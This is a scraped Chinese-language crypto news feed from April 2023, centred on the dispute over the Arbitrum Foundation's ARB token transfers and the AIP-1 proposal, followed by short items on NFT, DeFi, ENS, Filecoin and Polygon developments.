    Arbitrum：基金会并未出售 5000 万枚 ARB，其中 4000 万枚 ARB 已作为贷款分配给市场参与者 Arbitrum 发布推特回应关于 AIP-1 的争论，AIP-1 的目标是让社区参与初始决定，并最终让代币持有者通过 DAO 投票批准初始决定和框架予以支持。基金会并没有出售 5000 万枚 ARB 代币，关于 5000 万枚 ARB 代币的链上转移问题，其中 4000 万枚 ARB 已作为贷款分配给金融市场领域的参与者，剩余 1000 万枚已兑换为法币并专用于运营成本。而关于最初提议将 7.5 亿枚 ARB 代币转移至行政预算钱包的理由已经在提案中详细解释过。 此前消息，Arbitrum 社区发起 ArbitrumDAO 成立提案，提议将 7.5 亿枚 ARB 代币转至行政预算钱包。但随后 Cringe.eth 发推表示 Arbitrum 团队于 3 月 16 日取出 7.5 亿枚 ARB，并于 23 日转入币安，目前 5000 万枚 ARB 可能已在 DAO 未许可的情况下被出售。 内容来源 观点： Partrick McCorry：AIP-1 起草过程中的一个错误是没有在一开始就注意到这个建议的目的是作为对 Arbitrum DAO 和基金会的初始设置的批准，AIP-1 的重点是告知社区所有事先做出的决定，但是这些决定的沟通显然没有得到正确的阐述。此外，关于选择将 7.5% 的代币供应量分配给 Arbitrum 基金会是否合理，事实上， 7.5% 比例代币是低于 Optimism、Starkware 与 Polygon 的。【原文为英文】 内容来源 olimpio.eth：总结一下：1）这是对已经决定的事情的批准，并不是一个提议；2）基金会控制的 7.5% ARB 和其他链控制的类似，Starknet 基金会拥有 10% 的控制权，Optimism 基金会拥有 5.4% 的控制权，Polygon 基金会拥有 10% 的控制权（这个我无法核实），但 Starknet 基金会及 Optimism 基金会在推出代币之前就在代币经济学里表述了基金会的分配情况，Arbitrum 却没有；3）承认沟通不畅。【原文为英文】 内容来源 Lanli | 蓝犁：以前都没关注 DAO 这些，看起来：DAO 金库 = 需要社区投票决定的金库；基金 = 小金库，项目方可以自由裁决，例如做市、marketing、变现。 内容来源 Lookonchain：分配给 Offchain Labs 团队与 Future 团队及顾问的 26.94 亿枚 ARB 昨天通过地址 0x1e70 转入 140 个 EOA 地址，但根据文档，所有投资者与团队代币都有 4 年的锁定期。此外，链上数据显示 0x8d45 地址在收到后向 Cinbase 转入了 2256 万枚 ARB（约 2800 万美元）。目前其他地址还未转账，但这些 ARB 可以随时转入交易所出售，不受代码限制。【原文为英文】 内容来源 Arbitrum：Arbitrum 基金会是 Offchain Labs 的一个独立实体，1000 万 ARB 代币的出售是为了资助预先存在的合同和支付近期的运营成本，基金会并不是为了出售代币而存在的，且近期没有出售更多代币的计划。关于 DAO 的反馈，我们总结了四个核心点：1）AIP-1 涵盖的主题太多，我们将遵循 DAO 的建议将 AIP 分成几个部分，允许社区对不同的分部分进行讨论和投票；2）7.5 亿枚 ARB 将被转入 Arbitrum 基金会，这将在其自身的 AIP 中进行投票，团队也正在研究增加更多的责任，例如一个 4 年的释放期限。且基金会持有的代币不能用于投票；3）AIP-1 没有讨论关于资金如何使用的透明度，我们将提出透明度报告；4）特别拨款计划缺乏 DAO 的参与，团队将其重新命名为「生态系统发展基金」，并提供有关如何使用这些资金以发展 Arbitrum 生态系统的背景信息，DAO 可以随时从其财库中启动新的拨款计划。我们期待在本周初提出新的 AIP，并参与到 DAO 的公开讨论中。【原文为英文】 内容来源  ( 2 min )
    Arbitrum：基金会并未出售 5000 万枚 ARB，其中 4000 万枚 ARB 已作为贷款分配给市场参与者
    Arbitrum：基金会并未出售 5000 万枚 ARB，其中 4000 万枚 ARB 已作为贷款分配给市场参与者 Arbitrum 发布推特回应关于 AIP-1 的争论，AIP-1 的目标是让社区参与初始决定，并最终让代币持有者通过 DAO 投票批准初始决定和框架予以支持。基金会并没有出售 5000 万枚 ARB 代币，关于 5000 万枚 ARB 代币的链上转移问题，其中 4000 万枚 ARB 已作为贷款分配给金融市场领域的参与者，剩余 1000 万枚已兑换为法币并专用于运营成本。而关于最初提议将 7.5 亿枚 ARB 代币转移至行政预算钱包的理由已经在提案中详细解释过。 此前消息，Arbitrum 社区发起 ArbitrumDAO 成立提案，提议将 7.5 亿枚 ARB 代币转至行政预算钱包。但随后 Cringe.eth 发推表示 Arbitrum 团队于 3 月 16 日取出 7.5 亿枚 ARB，并于 23 日转入币安，目前 5000 万枚 ARB 可能已在 DAO 未许可的情况下被出售。 内容来源 观点： Partrick McCorry：AIP-1 起草过程中的一个错误是没有在一开始就注意到这个建议的目的是作为对 Arbitrum DAO 和基金会的初始设置的批准，AIP-1 的重点是告知社区所有事先做出的决定，但是这些决定的沟通显然没有得到正确的阐述。此外，关于选择将 7.5% 的代币供应量分配给 Arbitrum 基金会是否合理，事实上， 7.5% 比例代币是低于 Optimism、Starkware 与 Polygon 的。【原文为英文】 内容来源 olimpio.eth：总结一下：1）这是对已经决定的事情的批准，并不是一个提议；2）基金会控制的 7.5% ARB 和其他链控制的类似，Starknet 基金会拥有 10% 的控制权，Optimism 基金会拥有 5.4% 的控制权，Polygon 基金会拥有 10% 的控制权（这个我无法核实），但 Starknet 基金会及 Optimism 基金会在推出代币之前就在代币经济学里表述了基金会的分配情况，Arbitrum 却没有；3）承认沟通不畅。【原文为英文】 内容来源 Lanli | 蓝犁：以前都没关注 DAO 这些，看起来：DAO 金库 = 需要社区投票决定的金库；基金 = 小金库，项目方可以自由裁决，例如做市、marketing、变现。 内容来源 Lookonchain：分配给 Offchain Labs 团队与 Future 团队及顾问的 26.94 亿枚 ARB 昨天通过地址 0x1e70 转入 140 个 EOA 地址，但根据文档，所有投资者与团队代币都有 4 年的锁定期。此外，链上数据显示 0x8d45 地址在收到后向 Cinbase 转入了 2256 万枚 ARB（约 2800 万美元）。目前其他地址还未转账，但这些 ARB 可以随时转入交易所出售，不受代码限制。【原文为英文】 内容来源 Arbitrum：Arbitrum 基金会是 Offchain Labs 的一个独立实体，1000 万 ARB 代币的出售是为了资助预先存在的合同和支付近期的运营成本，基金会并不是为了出售代币而存在的，且近期没有出售更多代币的计划。关于 DAO 的反馈，我们总结了四个核心点：1）AIP-1 涵盖的主题太多，我们将遵循 DAO 的建议将 AIP 分成几个部分，允许社区对不同的分部分进行讨论和投票；2）7.5 亿枚 ARB 将被转入 Arbitrum 基金会，这将在其自身的 AIP 中进行投票，团队也正在研究增加更多的责任，例如一个 4 年的释放期限。且基金会持有的代币不能用于投票；3）AIP-1 没有讨论关于资金如何使用的透明度，我们将提出透明度报告；4）特别拨款计划缺乏 DAO 的参与，团队将其重新命名为「生态系统发展基金」，并提供有关如何使用这些资金以发展 Arbitrum 生态系统的背景信息，DAO 可以随时从其财库中启动新的拨款计划。我们期待在本周初提出新的 AIP，并参与到 DAO 的公开讨论中。【原文为英文】 内容来源  ( 2 min )

  • Open

    Arbitrum官方澄清：没有出售5000万枚ARB代币，已用于发放贷款及支付运营费用
    PANews 4月3日消息，Arbitrum在官方推特就治理争议作出回应。Arbitrum表示，去中心化治理正按照原本计划进行。DAO的推出产生了一个“先有鸡还是先有蛋”的问题，很多决定必须在DAO正式启动之前做出。AIP-1提案的目标是让社区参与初始决策，最终让代币持有者通过DAO投票批准初始决策和框架。Arbitrum还澄清，基金会没有出售5000万枚ARB代币。其中4000万枚代币已借给一个成熟的金融市场参与者，剩下的1000万代币则被兑换成法定货币并用于支付运营成本。据此前消息，Arbitrum基金会在其治理社区“批准”该组织近10亿美元的预算之前就开始出售ARB代币以换取稳定币，引发社区争议。 相关阅读：Arbitrum基金会透明度遭诟病，欲通过AIP-1“窃取”10亿美元？  ( 1 min )
    Arbitrum基金会在治理社区批准预算前已开始出售ARB代币
    PANews 4月2日消息，据CoinDesk报道，Arbitrum基金会在其代币持有人治理社区“批准”该组织近10亿美元的预算之前就开始出售 ARB 代币以换取稳定币，引发社区争议。据知情人士atrick McCorry的说法，Arbitrum基金会认为，Arbitrum 改进提案AIP-1是对其已做出决定的“批准”，例如接收所有 ARB 代币的 7.5%。为此，基金会已经开始为了 DAO 的利益使用这些代币，包括出于运营目的将一些资金转换为稳定币。 相关阅读：Arbitrum基金会透明度遭诟病，欲通过AIP-1“窃取”10亿美元？  ( 1 min )
    一周预告 | Magic Eden推出测试版以太坊NFT市场ETH Genesis；PancakeSwap将部署V3版本
    要闻预告： Arbitrum社区已发起(AIP-1)提案，拟引入一个名为ArbitrumDAO的去中心化自治组织结构，其投票将于4月3日结束。 Optimism主网Bedrock升级提案的新版本（即V2版本）投票将于4月5日结束，其旨在为Layer2网络提供模块化、简单性和以太坊等效性。 NFT市场Magic Eden宣布将于4月6日推出其测试版以太坊NFT市场ETH Genesis。 美国联邦存款保险公司(FDIC)试图出售Signature的数字支付平台Signet，并计划在4月5日之前清算加密存款。 更多一周预告请点击下载PANews APP，关注PANews推出的事件日历活动板块，在PANews随时随地阅读更多区块链即时快讯和深度好文。 4月3日 项目动态： NFT系列Mocaverse将于北京时间4月3日晚9点调整质押窗口 Animoca Brands旗下NFT系列Mocaverse推特发文称，将从北京时间4月3日晚上9点开始调整质押窗口。新窗口为北京时间每周一的晚上9点到下一个周一的晚上8:59。从现在到北京时间4月3日晚上8:59，可向冷钱包转账。此外，Mocaverse还宣布下周将为在一个钱包中持有多个Mocas的用户推出“助推器”XP Booster服务，持有不同数量Mocas的用户将得到对应级别的奖励。 PancakeSwap 将于4月3日部署 V3 版本 去中心化交易平台 PancakeSwap 将于 4 月 3 日在 BNB Chain 上部署 V3 版本。PancakeSwap 此前表示，新功能包括改进的流动性供应、交易费用、交易激励和收益挖矿工具的增强等，且 V3 版本将仅在 BNB Chain 上可用。 治理投票： Arbitrum发起“拟引入ArbitrumDAO”的AIP-1提案，投票将于4月3日结束 Arbitrum社区已发起Arbitrum Improvement Proposal 1 (AIP-1)提案，拟引入一个名为ArbitrumDAO的去中心化自治组织结构。该基金会将设在开曼群岛，将负责Arbitrum生态系统的成长和发展。该提案背后实体Lemma还将申请7.5亿枚ARB代币（价值约超10亿美元）资金拨款。Lemma表示，根据ArbitrumDAO章程中规定的AIP流程，ArbitrumDAO将对DAO金库拥有直接的链上治理权力。尽管该提案目前尚未获得批准，但已经创建了一个地址名为“Arbitrum DAO Treasury2”的多重签名钱包，并且收到近7亿枚ARB代币，Arbitrum基金会的一位代表证实，该地址是行政预算钱包。该提案已在Snapshot上开放投票，目前支持比例接近90%，投票将于4月3日结束。 4月4日 项目动态： FTX将衍生品交易平台LedgerX的拍卖日期修改至4月4日 FTX将旗下衍生品交易平台LedgerX的拍卖日期已由3月22日修改至4月4日。据悉，这是第二次修改拍卖日期，拍卖地点为Sullivan & Cromwell办公室，销售听证会将于4月12日举行。中标人的通知应在拍卖结束后的一个工作日内发出。 SuperRare将于4月4日启动RarePass空投 NFT市场SuperRare在社交媒体宣布其RarePass空投将于4月4日启动，空投NFT将是美国视觉艺术家Sarah Zucker的作品，RarePass持有者钱包将会在空投时间内收到相关作品。 Element 与比特大陆将于4月4日推出比特币算力权益 NFT 聚合 NFT 交易市场 Element 宣布与比特大陆就「比特大陆披萨节活动」达成深度战略合作，将联合推出「比特币算力权益 NFT」。后续双方也将在比特币算力服务市场与 NFT 技术结合创新，共同推动 NFT 权益化市场。「比特币算力权益 NFT 」是比特大陆将在 4 月 4 日发布的全球首个算力权益 NFT「Pizza Hashrate NFT」，该 NFT 为庆祝比特币披萨节而限量发售。 4月5日 项目动态： NFT项目HALO的空投申领将于4月5日下午6点结束 3D虚拟形象NFT项目HALO OFFICIAL开放了空投申领，从北京时间3月6日18:00至北京时间4月5日18:00期间，相关用户可进行领取。据悉， HALO总量5亿枚，此次空投分发1000万枚，将从6日开始连续14天线性释放。 FDIC试图出售Signet，并计划在4月5日之前清算加密存款 据3月29日CoinDesk报道，美国联邦存款保险公司(FDIC)已要求Signature Bank的加密货币客户在下周之前取款。FDIC此前已将Signature剩余资产出售给纽约社区银行，但交易不包括约40亿美元的加密货币相关存款，也不包括Signature的数字支付平台Signet。FDIC发言人表示，仍在试图出售Signet，并计划在4月5日之前清算加密存款。据悉，FDIC一直在联系加密货币储户，并鼓励他们寻找另一家可接受这些存款的银行。 社区活动： ETH Beijing黑客松将于4月5日至8日在北京线下举行，其已获得以太坊基金会ESP的资助 北京大学区块链协会发推称，ETH Beijing 黑客松获得了以太坊基金会ESP的资助。该黑客松主赛道为: 公共品，L2应用，开放研究。据悉，ETH Beijing 黑客松是后疫情时代北京的第一个以太坊线下活动，由北大区块链协会 PKU Blockchain 和开源大学 WTF Academy 主办，以太坊ZK扩容项目 Scroll 和以太坊中文社区 ETH Planet协办，2023年4月5日 - 8日在北京线下召开。目前 ETH Beijing 黑客松获得了以太坊基金会ESP(Ecosystem Support Program)，Scroll，和Mask Network的赞助，总奖池达 $30,000。 Starknet早期采用者拨款委员会启动第一轮代币赠款，首轮资助活动申请于4月5日截止 Starknet 早期采用者拨款委员会（Early Adopter Grants，EAG）于3月23日启动了第一轮 EAG 代币赠款。该委员会被授权运作至 2023 年 6 月 30 日，委员会预算为 100 万枚 STRK 代币，将通过多轮分配给项目方。目前，首轮资助活动已开放项目申请，申请截止时间为 4 月 5 日，委员会做出决策的时间为 2023 年 4 月 13 日。Starknet 称该轮资助主要针对于 4 月 5 日前在 Starknet 主网上或其中一个测试网上部署的应用程序，基金会将通过其他渠道资助为生态系统做出贡献的链下基础设施（如构建开发人员工具或 Cairo 库）。 治理投票： Optimism社区关于主网Bedrock升级的投票将于4月5日结束 关于以太坊二层解决方案Optimism主网Bedrock升级提案的新版本（即V2版本）将在第11周期的审核期间发布，第11周期的评审期为3月2日-3月22日，投票期为3月23日-4月5日。据悉，Bedrock是由OP Labs开发的新一代去中心化Rollup基础架构，旨在为Layer2网络提供模块化、简单性和以太坊等效性。 4月6日 项目动态： 21Shares将在4月6日关闭5个加密ETP 由于需求过低，瑞士ETP发行商21Shares将关闭六个加密ETP。其中LAY1、DeFi、SPBTC、SPETH和USDY五个产品都将在4月6日收盘后关闭，LUNA将在6月12日关闭。这六个产品管理的资产规模总共不到70万美元。另一方面，21Shares的数据显示，该公司1月份新增资产2695万美元。 Mt.Gox债权人登记截止日期已推迟至4月6日 据Mt.Gox官网公告，Mt.Gox债权人登记截止日期从3月10日推迟至4月6日（日本时间），基本还款期限、早期一次性还款期限以及中期还款期限从2023年9月30日推迟到10月31日。除非有不可避免的原因，很难进一步延长最后期限。 Baobab测试网预计将于北京时间4月6日03:20完成硬分叉 韩国区块链平台Klaytn已经发布 Klaytn v1.10.2，该版本包括一个硬分叉升级，所有Baobab/Crypress节点都必须在目标区块高度前完成升级。Baobab测试网将于区块119145600（预计北京时间4月6日03:20）完成硬分叉，Crypress主网将于区块119750400（预计北京时间4月17日00:01）完成硬分叉。硬分叉实现KIP-103，这是KGP-6的技术规范，将实施 TreasuryRebalance，并对相关内容进行改进、修复与维护等。 Magic Eden将于4月6日推出测试版以太坊NFT市场ETH Genesis NFT市场Magic Eden宣布将于4月6日推出其测试版以太坊NFT市场ETH Genesis。这也意味着，继Solana、Polygon、Bitcoin之后，以太坊成为了Magic Eden所覆盖的第四个生态。 4月9日 项目动态： RabbitX计划于Q2开启空投，快照将在4月9日结束 去中心化永续合约和衍生品交易所RabbitX发布空投公告，期最后一个快照日期为2023年4月9日，空投分发将在第二季度进行。RabbitX （原Strips Finance）是Starknet去中心化永续合约和衍生品交易所，允许用户在多个不同市场交易永续合约，即时确认且零手续费。  ( 3 min )
    PA图说 | 一图掌握以太坊上NFT关键数据（2023.04.02）
    NFT日报全新升级，增加更多新维度，NFT交易时可更全面细致参考！ PANews APP 2.0全新升级，带你挖掘热门NFT，捕捉参与机会，点击此处下载PANews即可体验。  ( 1 min )
    瑞士检察官对瑞银收购瑞信展开调查
    PANews 4月2日消息，据金十报道，瑞士联邦检察官已对瑞士信贷在政府支持下被规模更大的竞争对手瑞银收购一事展开调查。总部位于伯尔尼的检察官正在调查牵涉到这两家银行的政府官员、监管机构和高管是否违反了瑞士刑法。上个月，为了避免一场潜在的灾难性金融危机，这两家银行仅在一个周末就达成了紧急合并协议。瑞士联邦检察官办公室表示：“联邦检察官办公室希望积极履行其使命和责任，为建立一个廉洁的瑞士金融中心做出贡献，并已建立监督机制，以便在其活动范围内的任何情况下立即采取行动。”检察官Stefan Blättler已经向政府机构发布了一系列“调查命令”。  ( 1 min )
    数据：3月份ARK基金累计减持约10万股GBTC
    PANews 4月2日消息，据ARK基金持仓数据显示，3月份ARK基金累计减持约10万股（101,408股）灰度GBTC，价值约165.9万美元。2023年以来，ARK基金没有增持一股GBTC。  ( 1 min )
    Degen Zoo疑遭黑客攻击，目前团队已暂停游戏并启动调查
    PANews 4月2日消息，据Telegram公告显示，DAO Maker项目Degen Zoo疑似在Binance Oracle上遭黑客攻击。目前项目团队已暂停游戏并启动调查，截至14时尚未发现任何的漏洞，并且无法通过智能合约的错误来孵化更好的动物。目前官方Telegram已被禁言。  ( 1 min )
    数据：zkSync Era∎总锁仓量突破1亿美元
    PANews 4月2日消息，zkSync发推表示，zkSync Era∎总锁仓量（TVL）已突破1亿美元。  ( 1 min )
    FVM虚拟机无限想象：跨链互操作性
    作者：Filecoin Network FVM虚拟机在2023年3月14日的发布，变革了现有的Filecoin生态，有望释放开放数据经济的全部潜力。下面列举了一些在Filecoin虚拟机上搭建跨链互操作性的项目及其亮点。 Filecoin网络在主网上线的Axelar(https://axelar.network/how-axelar-works) 和 Celer Network(https://celer.network/) 信息和token桥接方案，向跨链互操作性迈出了重要一步。这些整合方案实现了Filecoin和30多个Web3领先项目（Polygon、Ethereum、Binance Smart Chain、Avalanche等）之间的无缝通讯和资产转移。 可互操作的网络能让Filecoin将其具有竞争力的服务（如数据计算和存储）输出给其他区块链的应用。这个路径让各个区块链上的Dapps应用都可以利用Filecoin网络上的数千名存储提供者、资源和未来的子网络，以服务其数据需求。 Axelar和Celer带来了安全、用户体验、模块化和特性方面的一些最高标准，Filecoin项目很高兴这些协议在主网上已经上线了。通过使用Celer Network和Axelar这样的工具，开发者现在可以开始搭建多链的未来，将Filecoin作为一个可扩展、去信任、可验证和安全的数据层来使用。 各种桥接机制可以实现可映射的资产（如ETH、BTC、USDC和USDT）在Filecoin和其他区块链之间转移。通过其他主要token带来的流动性提升，链下协议可以轻松支付Filecoin服务和其他FVM虚拟机原生dapps的费用，也可以轻松引入有其他资产的用户。可以阅读Celer在博客上的公告(https://blog.celer.network/2023/03/20/celer-cbridge-and-im-support-launched-on-the-filecoin-virtual-machine-fvm/#:\~:text=USDC%20%E2%80%93%200x2421db204968A367CC2C866CD057fA754Cb84EdF,WBTC%20%E2%80%93%200x592786e04c47844aa3b343b19ef2f50a255a477f) ，来了解怎样通过Celer将封装资产桥接到Filecoin. 现在，开发者可以利用跨链流动性和市场机制，简化新增用户和访问其他协议的过程。这样，Filecoin的用户要是想在链上持有资产，就可以利用桥接、互换和桥接回Filecoin的方式来访问具有最大流动性的池子。Squid Protocol(https://www.squidrouter.com/) 这类协议很快会让FVM上的dapps进行整合并实现一键式引入用户。这意味着dapps可以让用户享受更高的灵活性和更低的费用。准备好桥接你的资产了吗？现在就可以通过 cBridge（由Celer Network驱动）(https://cbridge.celer.network/1/56/USDC) 或Satellite token转移（由Axelar驱动）(https://satellite.money/?source=ethereum&destination=osmosis&asset_denom=uusdc&destination_address=) 开始了，后者将在下周可用。 在其他领先区块链项目上的智能合约现在可以在Filecoin上支付、验证和执行数据存储了。例如，以太坊上的某个DAO现在可以使用EVM智能合约来验证数据存储，支付ETH——这可以直接实现，或者通过即将到来的服务辅助，如Lighthouse Files(https://files.lighthouse.storage/)。这为用户和开发者带来了新机会，让他们与Filecoin上现有和未来的数据拍卖和存储协议无缝互动。可以先了解FVM存储交易提议新手包(https://github.com/filecoin-project/fvm-starter-kit-deal-making) ，或通过Axelar通用信息传递(https://docs.axelar.dev/dev/general-message-passing/overview) 和Celer链间通讯(https://im-docs.celer.network/developer/celer-im-overview)查看相关文档。 通过实现token和消息的传递，Axelar and Celer让40多个区块链（包括以太坊、Polygon和Cosmos）上的dApps可以访问和购买Filecoin上的服务（如数据存储和数据计算）。这样的互操作性可以让开发者为各种区块链添加强大的数据能力，强化其应用的功能和用户体验。例如，OCEAN Protocol协议在FVM虚拟机上发布了首个数据市场解决方案，它可以将Filecoin和Binance上的买家和卖家结合起来，以更高效发现和消费数据集。可以在这里了解更多(https://twitter.com/oceanprotocol/status/1635776825954811905)。 Axelar和Celer Network提出的消息和token桥接方案在主网的上线，是Filecoin生态系统的变革性时刻。Axelar和Celer带来的无缝通讯和资产转移特性创造了很多机会，来实现强大的数据能力、跨链智能合约调用、资产桥接和token互换。这最终会为整个去中心化互联网带来增长和创新。  ( 1 min )
    数据：某巨鲸一次性卖出87枚CryptoPunk，约合958万美元
    PANews 4月2日消息，NFT社区成员Cirrus表示，某巨鲸一次性卖出87枚CryptoPunk， 销售总金额为5261枚ETH（约957.5万美元）。而该地址在几个星期前，曾将几十枚CryptoPunks高价抛售给黄立成。  ( 1 min )
    数据：5大稳定币一季度“购买力”约为1263亿美元
    PANews 4月2日消息，加密分析公司Santiment发推表示，随着加密市场在一季度复苏，USDT、USDC、BUSD、DAI和USDP这五大稳定币的综合购买力为1263.1亿美元，本周加密市场跌势有所收窄，其上升趋势表明BTC上涨的可能性增加。  ( 1 min )
    数据：近三个月来加密货币ATM数量下降13.91%
    PANews 4月2日消息，据News.Bitcoin报道，加密货币ATM聚合网站Coin ATM Radar的数据显示，加密ATM的数量在过去三个月中下降了13.91%。1月份下线1587台，这是自2022年9月丢失399台ATM以来第二次出现大量机器下线；2月份下线275台；3月份下线3627台。截至目前，全球共安装了33728台加密ATM。  ( 1 min )
    ENS 域名封装是什么？为何如此重要？
    撰文：Karen，Foresight News 本文首发于 2023 年 1 月 19 日 4 月 1 日更新：ENS 现已将 NameWrapper 合约部署到主网，尚需 DAO 投票激活。 以太坊域名服务（ENS）的域名封装（ENS Name Wrapper）功能被视为 ENS 大规模采用和变革 Web3 的关键改进，有希望在两周后在主网上线。那 ENS 域名封装功能究竟是什么？为何如此重要？ 简单来说，该封装功允许将现有任意级别的 ENS 域名封装为 ERC-1155 代币，子域名可以作为单独的 NFT 存着，另外，父域名还能够对子域名进行更精细的管理控制，包括过期情况以及权限授予等，为 ENS 域名带来更多的灵活性。当前 ENS 子域名并不是作为单独的 NFT 创建的，因此转移和交易也是受限的。 众所周知，ERC-721 是以太坊最基础且使用最广的 NFT 底层标准，是一种非同质化代币合约。对比之下，ERC-1155 同时支持同质化和非同质化代币，而且可批量转移和批量授权，对于子域名的控制、管理来说非常方便和高效。 ENS 官方列出来的域名封装的其他优势和功能包括 一个域名的生命周期如图所示： 即，一个域名在注册后可以进行封装，已注册域名也可以直接创建封装子域名，之后，二级域名可以在「封装」的时候会自动「释放」，其他情况下，父域名所有者可以放弃对子域名的控制，即「释放」，也可由父域名所有者在「释放」同时「锁定」，或者由子域名持有者自行「锁定」来放弃 unwrap 域名的能力。 需要提醒的是，所有的 ENS 域名都是顶级域名 eth 的子域名，子域名又分为二级域名（如 apple.eth）、三级域名（1.apple.eth）等。例如，apple.eth 是 eth 的子域名，1.apple.eth 也是 apple.eth 的子域名。不过，目前在多数情况下，ENS 子域名被认为是三级和三级以上域名。 正如 ENS 团队成员 domico.eth 所讲，顶级域名 eth 的密钥已被 ENS 官方转交给公共合约，ENS 官方对 eth 域名没有访问权限，因此二级域名不需要担心有人会冒充。在 ENS Name Wrapper 功能中，父域名主要通过设置子域名的到期时间和销「PARENT_CANNOT_CONTROL」fuse 来放弃对子域名的控制。fuse 可以看作是一道门，当这道门打开时，父域名持有者可以执行特定操作，如控制子域名，也可以被永久性关闭，即「烧毁」，消除了父域名持有者再次访问子域名的能力，这与 ENS 交出 eth 的密钥非常相似。 从 ENS 域名封装周期就足以看得该功能的重要性。将域名封装为 ERC-1155 对于子域名的管理和控制来说一种与生俱来的天生优势，能够帮助域名持有者在很大程度上降低成本和提升效率。ENS 域名封装中的「释放」功能通过放弃对子域名的控制，能够给予子域名更多的灵活性，也是建立无需信任的子域名生态的关键一步。 有了域名封装功能后，拥有自己公司名称域名的 Web2 公司可以为其供应商、采购商或者广大用户来分发或配置子域名，并且可以赋予一定的应用场景或效用。Web3 公司和项目也可以直接对其用户空投子域名，也可以通过子域名来加深与社区间的联系。此外，子域名交易、租借等场景也可能会展开。 我们有理由认为，ENS 域名封装会给 Web3 大规模采用增加更多想象空间。 Foresight News 此前在《ENS 掘金手册【篇一】：后来者机会何在？》中归纳了值得关注的域名类别。可以想象，域名封装功能推出后，能够扩展子域名的二级域名会更有吸引力。比如：名字类、姓氏类、公司名称类、项目名称类、通用定义、行业、产品类等。  ( 2 min )
    Jack Dorsey支持的闪电网络项目Spiral发布LDK新路线图
    PANews 4月2日消息，据Decrypt报道，Jack Dorsey支持的闪电网络项目Spiral发布了闪电网络开发包（LDK）新路线图，LDK不同于闪电网络最常用的软件实现LND和C-lightning，LDK团队的目标是更加模块化和灵活，让开发人员在构建（特别是移动）Lightning 钱包和应用程序时更轻松。新路线图上有两个独特功能，一个是LDK Node Mobile，为创建节点提供了更简单的设置；另一个是所谓的“异步支付”，该功能将是LDK明年的主要关注点。  ( 1 min )
    交易费用创新高，速览衍生品交易平台Kwenta因何走红？
    作者：vanillacream.eth，加密KOL 编译：Felix, PANews 当您专注于空投时，Kwenta的交易费用在几天前创历史新高，达至37万美元。像Mechanism Capital创始人Andrew Kang这样的鲸鱼通过GMX和Kwenta杠杆交易获得了近1800万美元的利润。 什么是Kwenta Kwenta是由Synthetix提供支持的去中心化衍生品交易平台。Kwenta的交易员可以针Synthetix债务池进行交易，该债务池由SNX质押者提供的sUSD组成。 Synthetix首次推出的V2，通过新的链下预言机系统和调整后的资金费率机制，改善了不受限的未平仓量、资产兼容性和执行费用。有助于提高Synthetix Perps（衍生品）的前端Kwenta的交易量和交易费用。下面一起深入了解Perp V2。 Perps V2是Synthetix的升级版，旨在降低Gas费、提高可扩展性和资本效率。此次升级包含2项重大更新，以彻底改变交易体验： 与中心化交易所中的传统资金费用不同，Perps V2中的资金费用会随着时间动态调整，以激励空头和多头头寸之间的平衡。确保交易者根据市场需求和供应，公平地支付或接收资金。 Perps V2引入了一种新的预言机，即Pyth Network的预言机，通过Wormhole数据传输提供了一系列优势。这些优势包括： 由于Perps V2，Kwenta在过去30天里交易量大幅增加。其中，交易费用已经高达250万美元，其中大部分是最近贡献的，表明该平台的成功和潜力。   在接下来的几个月里，将主要更新2个方面： 1) 整合Lyra伙伴关系 2) UI更新，包括： 相关阅读：《梳理Synthetix现状：永续合约交易量明显上升，V3更新带来更灵活的定制化服务》  ( 1 min )
    美SEC诉Ripple案判决或仍需2个月
    PANews 4月2日消息，据CryptoSlate报道，美SEC对Ripple的诉讼案件并没有在3月31日结案。XRP代理律师John Deaton在社交媒体上表示，3月31日不是法官判决的最后期限。法官什么时候决定是不确定的，有可能会在接下来的30或60天内判决。 如果SEC获胜将XRP归类为证券，许多其他数字资产和加密货币的某些处理方式将被纳入到其管辖权内，同时美国立法者也可能会授权美国商品期货交易委员会（CFTC）处理加密货币衍生品和交易。 此前消息。律师称美SEC诉Ripple案简易判决或在本周宣布。  ( 1 min )
    名人、企业采用首选？盘点在Polygon上构建的80个现实世界用例
    作者：黑米 自 2020 年上线主网，次年升级品牌以来，Polygon 已成为了现实世界企业采用的首选区块链网络。 这不只是说说而已，因为 Polygon 已成为了最受欢迎的 EVM 链之一，在各个方面全面开花： 受益于用户数量、安全性以及用例的多样化，Polygon 受到了许多开发人员、企业的追捧。本文根据加密研究员 JavierAng 的整理，盘点在 Polygon 上构建的 80 个现实世界用例。 印度（2022 年 7 月）： 在 Polygon 上发行“种姓”证书，以阻止弱势群体对政府福利的欺诈性索赔。 新加坡（2022 年 11 月）： 利用 Polygon 和 Aave 促进数字日元和新元的交叉交易。 MasterCard，支付巨头（2023 年 1 月）： 与 Polygon 合作推出 MasterCard Artist Accelerator，以帮助音乐艺术家学习如何通过铸造 NFT、建立线上社区来扩展自己的品牌。 Stripe，支付巨头（2022 年 4 月）： 通过 Polygon 添加了对 USDC 支付的支持，Twitter 率先测试了该服务。 WorldPay，支付巨头（2022 年 11 月）： 作为 FIS 集团的子公司，WorldPay 添加了对 Polygon USDC 的支持。 Robinhood，流行的互联网券商（2022 年 4 月）： 允许交易 Polygon 的原生代币 $MATIC。 Nubank，位于巴西，拉丁美洲最大的金融科技银行（2022 年 10 月）： 在 Polygon 上推出忠诚度代币 NuCoin。 Hamilton Lane，资管公司，8240 亿美元的资管规模（2023 年 1 月）： 在 Polygon 上开设代币化基金。 Jewel Bank，数字资产银行（2022 年 12 月）： 在 Polygon 上发行完全由储备金支持的稳定币 Jewel USD。 摩根大通，银行巨头（2021 年 12 月）： 向其首届的与会者赠送了在 Polygon 网络上铸造的 NFT。 Adobe，PS 开发商、软件巨头（2022 年 3 月）： 与 Polygon 合作，将 NFT 集成到其社交平台 Behance 中。 Opear，互联网浏览器（2022 年 3 月）： 为 Polygon 添加了浏览器内的加密钱包支持。 Google，科技巨头（2021 年 5 月）： Google 旗下的大数据分析服务 BigQuery 添加对 Polygon 区块链数据的支持。 三星，韩国电子巨头（2022 年 1 月、3月）： 2022 年 1 月，三星通过 Polygon 发行了可在元宇宙平台 Decentraland 中穿戴的 NFT。3 月，在 Polygon 上为三星在 Decentraland 中的区域 837X 发行了 12,501 件 NFT 纪念品，玩家可以通过“You Make It”任务获得。 Nothing，电子产品制造商（2022 年 7 月）： Nothing 在其新手机 Nothing Phone (1）发布之前，向 Nothing 社区投资者和手机预定者空投了铸造在 Polygon 上的 NFT。这些 NFT 可用于解锁特殊福利，包括抢先体验新的 Nothing 产品和参与线下活动。 Facebook、Instagram，Meta 旗下（分别为 2022 年 8 月、11 月）： 计划开发基于 Polygon 的 NFT 